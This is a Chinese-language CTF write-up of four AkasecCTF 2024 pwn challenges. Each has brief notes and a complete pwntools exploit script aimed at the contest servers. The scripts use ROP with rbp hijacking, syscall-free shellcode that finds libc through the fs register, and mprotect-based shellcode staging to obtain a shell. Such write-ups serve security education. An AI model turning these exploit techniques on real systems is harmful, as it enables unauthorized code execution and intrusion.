# AkasecCTF2024 WriteUp-Pwn

# yapping

# 题目分析

一个纯汇编搓的程序,也就没有动态链接了。

没有栈溢出
但是能够覆盖栈上面保存的循环使用的 i 变量。用过修改这个变量实现一次任意地址写。

存在后门函数:win 函数
但是需要先修改 bss 上面的变量才能通过检查拿到 flag。

因此我们需要干的事情就是:
1. 修改 bss 上面的变量
2. 劫持程序执行流到 win 函数。

# 解题思路

但是我们只有一次写地址机会,如果直接劫持 vuln 函数的返回地址肯定无法干那么多事情。

我们于是开始尽可能利用现有的 buf

他调用 read 函数没有直接 syscall,而是调用了一个函数之后进行 syscall。
我们尝试劫持这个函数的执行流,让它返回到我们提前布置在 buf 里面的 ROP 链子。
(这时候有人就说了:都能执行 ROP 了为什么不直接搓个 ORW 的链子?Ans:因为程序是汇编搓的,所以 gadgets 几乎就是没有。还是要调用 win 函数)
至于更改 bss 的变量,vuln 函数中定位 buf 使用的是 rbp 寄存器,于是我们劫持执行流的时候把 rbp 更改了就行了。
(Q:你只能写 8 字节的内容,为什么能同时改 rbp 和返回地址?A: 我们从 rbp 低第 2 位开始写,改到返回地址最低一个字节正好 8 字节,返回地址最低一位改成 0x60 就能返回到 ret 指令,之后 ret 到我们 buf 布置的 ROP 链子,rbp 就只剩最低一位无法控制,我们直接爆破就行,就能劫持 rbp 到 bss 上面,之后调用 vuln 函数就能修改 bss 上面的变量,之后 vuln 函数结束 ret 到 win 函数就可以了)

# Exp

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
p=remote('20.80.240.190',14124)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p,"b *0x401115")
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
payload1=p64(0x4011F4)+p64(0x401160)+p64(0x401160)
payload=payload1*4+p64(0xFFFFFFe9ffffffff)+p64(0xFFFFFFe9ffffffff)+p64(0x6000000000004040)
p.send(payload)
# pause()
# p.send(p64(0x6000000000004040))
pause()
payload2=p64(0x6e696d6461)*16
p.send(payload2)
#0x6e696d6461
p.interactive()

# the_absolute_horror_of_the_trip

# 题目分析

一道 shellcode 题目

buf 地址已知,pie 开启
刚开始就给了 puts 函数的低 4 字节

过滤了 buf 中的 syscall , int 0x80 , sysenter 指令,之后设置 buf 为 r-xp,寄存器除了已知的 buf 地址全清空了。(非常逆天)

在没有 syscall 的情况下我们肯定要调用 elf 的函数来之后进行操作。最重要的就是拿到 elf,libc,ld 之类的地址。

# 解题思路

除了 rdi 之类的通用寄存器,程序还有着 cs fs ss 等段寄存器。fs 寄存器加上偏移就能拿到一些地址。
经过测验,fs:[0x00/0x08/0x10] 存储的是 libc 前面的一个段的地址,在那个段我们可以找到 libc 基址,但是实测加上偏移的方法在本地可以 100% 拿 shell,但是远程就 100% 不行。
猜测是本地和远程 ld 不同或者操作系统(好像远程是 archlinux)导致段内的环境不同。因此直接写个循环在段内搜索,匹配给出的 puts 函数低字节来找到 libc 地址,从而拿到基址。
低 4 字节我们知道,但是高 2 字节不知道,我们就是要找到一个 libc 的地址就能直接知道了。

知道 libc 基址之后就能直接 orw 或者 execve 拿 shell 了。

# Exp

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
p=remote('172.210.129.230',1369)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 0x6969696969 0x6969696000
# 0x1337131369 0x1337131000
# mov rcx,0x000075f74baeeac0
# sub rdi,rcx
# mov rcx,0x75f74b96d000
# add rdi,rcx
p.recvuntil("0x")
add=int(p.recv(8),16)-0x079BF0
print(hex(add))
code=f'''
st1:
    nop
st:
    mov rdi,fs:0x0
    mov rsi,0xdddddd
    cmp rdi,rsi
    jl st1
mov rcx, 0xf0000
loop_start:
    mov rax, [rdi]    
    mov r8,{add}
    mov r10,r8
    
    mov rbx,0x00000000fff00000
    mov r9, 0x00000000fff00000
    and rax, rbx
    and r8,rbx
    
    cmp rax,r8
    jne loop_end    
    mov rdi, [rdi]
    mov rbx,0xffffffff00000000
    and rdi,rbx
    add rdi,r10
    jmp after
loop_end:
    add rdi, 8     
    dec rcx        
    jnz loop_start 
after:
    add rdi,0x3E717
    mov rbx,rdi
    mov rsp,0x69696b6000
    mov rcx,0x68732f6e69622f
    mov [rsp],rcx
    mov rdi,rsp
    xor rax,rax
    mov rax,59
    mov rcx,0x353f
    xor rcx,0x3030
    xor rdx,rdx
    xor rsi,rsi
    jmp rbx
'''
# mov rcx,0x7ed10ca85740
# sub rdi,rcx
# mov rcx,0x7ed10ca88000
# add rdi,rcx
# jmp rbx
p.sendline(asm(code))
p.sendline("ls")
p.interactive()

# good_trip

# 题目分析

上面一题的简化版本。

# Exp

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
p=remote('172.210.129.230',1351)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 0x6969696969 0x6969696000
# 0x1337131369 0x1337131000
# mov rcx,0x000075f74baeeac0
# sub rdi,rcx
# mov rcx,0x75f74b96d000
# add rdi,rcx
p.sendlineafter("code size",str(0x999))
code='''
mov rsp,0x404800
mov rdi,0x1337131000
mov rsi,0x1000
mov rdx,0x7
mov rcx,0x401090
call rcx
mov rdi,0
mov rsi,0x1337131100
mov rdx,0x100
mov rcx,0x401060
call rcx
mov rcx,0x1337131100
call rcx
'''
p.sendline(asm(code))
pause()
p.sendline(asm(shellcraft.sh()))
# p.sendline("ls")
p.interactive()

# bad_trip

# 题目分析

依旧是简化版本,但是 exp 通用),还好我先做的难的)

# Exp

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './pwn'
p=remote('172.210.129.230',1352)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./pwn')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 0x6969696969 0x6969696000
# 0x1337131369 0x1337131000
# mov rcx,0x000075f74baeeac0
# sub rdi,rcx
# mov rcx,0x75f74b96d000
# add rdi,rcx
p.recvuntil("0x")
add=int(p.recv(8),16)-0x079BF0
print(hex(add))
code=f'''
st1:
    nop
st:
    mov rdi,fs:0x0
    mov rsi,0xdddddd
    cmp rdi,rsi
    jl st1
mov rcx, 0xf0000
loop_start:
    mov rax, [rdi]    
    mov r8,{add}
    mov r10,r8
    
    mov rbx,0x00000000fff00000
    mov r9, 0x00000000fff00000
    and rax, rbx
    and r8,rbx
    
    cmp rax,r8
    jne loop_end    
    mov rdi, [rdi]
    mov rbx,0xffffffff00000000
    and rdi,rbx
    add rdi,r10
    jmp after
loop_end:
    add rdi, 8     
    dec rcx        
    jnz loop_start 
after:
    add rdi,0x3E717
    mov rbx,rdi
    mov rsp,0x69696b6000
    mov rcx,0x68732f6e69622f
    mov [rsp],rcx
    mov rdi,rsp
    xor rax,rax
    mov rax,59
    mov rcx,0x353f
    xor rcx,0x3030
    xor rdx,rdx
    xor rsi,rsi
    jmp rbx
'''
# mov rcx,0x7ed10ca85740
# sub rdi,rcx
# mov rcx,0x7ed10ca88000
# add rdi,rcx
# jmp rbx
p.sendline(asm(code))
p.sendline("ls")
p.interactive()

# 总结

题目质量还挺高的。难度中等。